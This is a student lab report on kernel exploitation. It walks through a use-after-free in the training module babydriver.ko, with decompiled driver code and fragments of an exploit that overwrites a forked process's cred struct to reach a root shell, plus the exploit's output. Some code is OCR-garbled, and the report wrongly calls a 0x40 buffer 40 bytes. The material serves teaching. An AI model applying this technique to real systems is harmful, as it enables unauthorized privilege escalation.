Lab 5 - Kernel Exploitation

CSC 472

Tyler Prehl

12/6/2021

Introduction

The purpose of this lab is to practice kernel exploitation. During this lab, I will take on new concepts of how to attack a machine through the use-after-free vulnerability instead of the usual stack overflow vulnerability. To do this, we will use Ghidra to assess the contents of a file (babydriver.ko), find the use-after-free vulnerability, and then exploit it with our exp.c file.

Analysis and Results

To begin the lab, some brief setup was required. After downloading the lab5.tar file from the class website, I unzipped it and booted up QEMU. Inside QEMU, I found that there are 11 folders inside the root folder (/).

```
$ ls -al
total 4
drwxrwxr-x
                                       0 Jul 4
                                                2017 .
           13 root
                       root
                                       0 Jul 4
drwxrwxr-x
           13 root
                                                2017
                       root
                                       0 Jun 15 2017 bin
           2 root
drwxrwxr-x
                       root
                                    2960 Dec 17 23:58 dev
drwxr-xr-x
           8 root
                       root
drwxrwxr-x
                                       0 Jun 16
                                                2017 etc
           3 root
                       root
drwxrwxr-x
           3 root
                       root
                                       0 Jul 4
                                                2017 home
                                     396 Jun 16
            1 root
                       root
                                                2017 init
drwxr-xr-x
           3 root
                       root
                                       0 Jun 15
                                                2017 lib
                                                2017 linuxrc -> bin/busybox
lrwxrwxrwx
           1 root
                       root
                                      11 Jun 15
dr-xr-xr-x 62 root
                                       0 Dec 17 23:58 proc
                       root
           2 root
                       root
                                       0 Jun 16
                                                2017 root
drwxrwxr-x
           2 root
                       root
                                       0 Jun 15
                                                2017 sbin
dr-xr-xr-x
           13 root
                       root
                                       0 Dec 17 23:58 sys
drwxrwxr-x
            2 root
                       root
                                       0 Jun 15
                                                2017 tmp
            4 root
                                       0 Jun 15 2017 usr
drwxrwxr-x
                       root
```

To begin in my lab5 directory in badgerctf, I tweaked the default file system by unpacking and repacking rootfs.cpio. After execution the following commands:

```
mkdir fs

cd fs cp ../rootfs.cpio ./

mv rootfs.cpio rootfs.cpio.gz

gunzip rootfs.cpio.gz
```

cpio -idmv < rootfs.cpio

I could see that rootfs.cpio was unpacked into the fs folder.

```
root@4376ca79acef:/workdir/lab5/fs # cpio -idmv < rootfs.cpio</pre>
etc
etc/init.d
etc/passwd
etc/group
bin
bin/su
bin/grep
bin/watch
bin/stat
bin/df
bin/ed
bin/mktemp
bin/mpstat
bin/makemime
bin/ipcalc
bin/mountpoint
bin/ash
bin/chattr
bin/rmdir
bin/nice
bin/linux64
bin/gzip
bin/sync
bin/sed
bin/run-parts
bin/login
bin/gunzip
bin/rm
bin/chgrp
bin/touch
bin/uname
bin/pwd
bin/rev
bin/printenv
bin/fgrep
bin/mkdir
bin/iostat
bin/umount
```

I then downloaded the exp.c file from the class website and placed my name in my ultra-malicious program...a program so dangerous that it...prints my name!

```
write(fd2,buf,28);
    puts("get root! -- hacked by TYLER PREHL!");
system("/bin/sh");
}
else
```

I then compiled and repacked my program into the rootfs.cpio file and booted QEMU back up.

Once in QEMU, I found in the root directory that my compiled (and uncompiled) exp.c could be found. After running, I received the following output and became the root user.

```
bin
                                                      sbin
             exp
                           init
                                        proc
dev
                           lib
             exp.c
                                        root
                                                      sys
                                        rootfs.cpio
             home
                           linuxrc
                                                      tmp
 $ ./exp
    21.709140] device open
    21.711501] device open
    21.713319] alloc done
    21.716345] device release
get root! -- hacked by TYLER PREHL!
```

Success! But what exactly does exp.c do?

The kernel exploitation strategy is as follows:

- 1) Find a vulnerability in the kernel code
- 2) Manipulate the vulnerability to gain code execution
- 3) Elevate our process's privilege level to give us more access on the user side
- 4) Survive the trip back to being a user
- 5) Enjoy our root privileges :D

After executing the "cat init" command, we find a file called "babydriver.ko" which is the file that we are going to exploit.

```
/ # cat init

#!/bin/sh

mount -t proc none /proc

mount -t sysfs none /sys

mount -t devtmpfs devtmpfs /dev

chown root:root flag

chmod 400 flag

exec 0</dev/console

exec 1>/dev/console

exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
```

Also worth noting, the "setsid..." line in the init file is the line that initially gives us only user privileges instead of root privileges, so if we went into this file and commented it out, we could very easily become the root user upon boot.

```
setsid cttyhack setuidgid 1000 sh
```

To begin, I downloaded Ghidra and started a new project with the babydriver.ko file inside. I then analyzed babydriver.ko (after being prompted by Ghidra) and found the babyopen function that I will exploit.

Inside the babyopen function, we notice that memory is allocated for a character type buffer, but this is always later freed by the babyrelease.

Babyopen:

```
int babyopen(inode *inode,file *filp)

{
    __fentry__();
    babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(_DAT_001010a8,0x24000c0,0x40);
    babydev_struct.device_buf_len = 0x40;
    printk("device open\n");
    return 0;
}
```

Babyrelease:

```
int babyrelease(inode *inode,file *filp)
{
    __fentry__();
    kfree(babydev_struct.device_buf);
    printk("device release\n");
    return 0;
}
```

Both babyread and babywrite use this created buffer in their functions.

Babyread:

```
ssize_t babyread(file *filp,char *buffer,size_t length,]
{
  ulong uVarl;
  ulong extraout_RDX;

  __fentry__();
  if (babydev_struct.device_buf != (char *)0x0) {
    uVarl = 0xffffffffffffff;
    if (extraout_RDX < babydev_struct.device_buf_len) {</pre>
```

Babywrite:

```
ssize_t babywrite(file *filp,char *buffer,size_t leng

{
   ulong uVarl;
   ulong extraout_RDX;

   __fentry__();
   if (babydev_struct.device_buf != (char *)0x0) {
      uVarl = 0xffffffffffffff;
   if (extraout_RDX < babydev_struct_device_buf_len)</pre>
```

Of note - there is no overflow issue in either babyread or babywrite, so we can not take advantage of a buffer overflow vulnerability. However, babyopen and babyrelease have a use-after-free vulnerability - babydev_struct is a global variable (and therefore when it is created, device_buf and device_buf_len are also globally available), which can be discovered by checking the .bss segment and searching for babydev_struct.

```
babydev_struct
                                                       babyopen:00100
                                                       babyioctl:0010
                                                       babyioctl:0010
                                                       babywrite:0010
                                                       babyread:00100
                                                       babyopen:00100
                                                       babyioctl:0010
                                                       babywrite:0010
                                                       babyread:00100
   babydevi...
      char * NaP
                                     device_buf babydriver.c:21
      size_t ??
                                     device_buf_len
```

In babyrelease, the memory space created in babyopen is freed, but device_buf is not cleared!

This causes the use-after-free vulnerability.

```
int babyrelease(inode *inode, file *filp)
{
    __fentry__();
    kfree(babydev_struct.device_buf);
    printk("device release\n");
    return 0;
}
```

Inside the exp.c file, the function open(/dev/babydev) is called twice and saved into two different file descriptors because after the close(fd1), one babyrelease function is called on fd1 to introduce the use-after-free vulnerability.

```
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,65537,0xa8);
close(fd1);
```

Since it is called twice and because babydev_struct is a global variable, the initial memory allocated in fd1 remains a 40 byte chunk of free space, and fd1 and fd2 then both reference the space allocated for fd2's open function call. After calling close(fd1), babyrelease is called and the memory allocated by fd2's open call is then freed, but still leaving the memory allocated by fd1's open call, the pointer to fd2's memory allocation, and our ability through either fd1 or fd2 to access the memory allocated by fd2's open call, even though it is freed. We can now read or write to/from this memory address!

Notice that inside the actual attack, we also have ioctl(fd1, 65537,0xa8) (see the function below). The purpose of this is to call babyioctl() (see below) which checks the command paramter (65537) to see if it's equal to 0x10001 (which it is after decimal to hexadecimal conversion).

```
long babyioctl(file *filp,uint command,ulong arg)
 long lVarl;
 size t extraout RDX;
  _fentry__();
 if (command == 0x10001) {
   kfree(babydev struct.device buf);
   babydev_struct.device_buf = (char *)__kmalloc(extraout_RDX,0x24000c0);
   babydev_struct.device_buf_len = extraout_RDX;
   printk("alloc done\n");
   1Var1 = 0;
 }
 else {
   printk(&DAT 0010031a,extraout RDX);
   1Var1 = -0x16;
 }
 return 1Varl;
```

Since babyloctl() runs the if statement since we give it the correct parameter, it frees the memory of device_buf (freeing the space created by fd2's open), and then allocates a new memory address for device_buf with an amount of space that we specify as 0xa8 (168 bytes). The purpose of the value 0xa8 is because the size of the cred struct in the kernel is 168 bytes.

```
1  struct cred {
2   atomic_t usage;
3  #ifdef CONFIG_DEBUG_CREDENTIALS
4   atomic_t subscribers; /* number of processes subscribed */
5   void *put_addr;
6   unsigned magic;
7  #define CRED_MAGIC 0x43736564
8  #define CRED_MAGIC_DEAD 0x44656144
0  #andif
<--- takes up 168 bytes!</pre>
```

So as a result, fd1 and fd2 still reference babydev_struct, but it now has a device_buf memory space of 168 bytes. After the close(fd1) call, the memory space of 0xa8 is freed, but fd1 and fd2 still reference babydev_struct global which still points to the 0xa8 space. At this point, the memory space of 40 bytes created by fd1 still exists.

The exp.c file continues to get an int pid using the fork() function, and then if the pid = 0, a thread has been successfully created. The new thread (conveniently) needs memory space of

size 0xa8 to create the cred struct for the information of the new thread. Naturally by way of how memory is reallocated (or not reallocated in this case), the 0xa8 memory space we opened that is free but can still be referenced by fd2 (no longer fd1 because it was closed) is used to hold the cred struct.

The write(fd2, zeros, 28) function writes 28 zeros to the 0xa8 memory space previously allocated for the cred struct, which sets the uid (userID) and gid (groupID) to zero, giving root access to the user in the process. After that, if getuid() = 0, then as a root user in the process, exp.c calls system("/bin/sh") to give the user root access and a new shell.

```
/ $ ./exp
[ 17.461636] device open
[ 17.463509] device open
[ 17.465427] alloc done
[ 17.467204] device release
get root! -- hacked by TYLER PREHL!
/ # ls -l
```

Discussion and Conclusion

This lab was an absolute success. The exp.c file worked perfectly to get root access in a new shell, and by watching the kernel exploitation video by Si Chen, I was able to properly understand exactly how the exp.c final takes advantage of the use-after-free vulnerability. Thank you for a great semester, have a nice break, and I'll see you in January!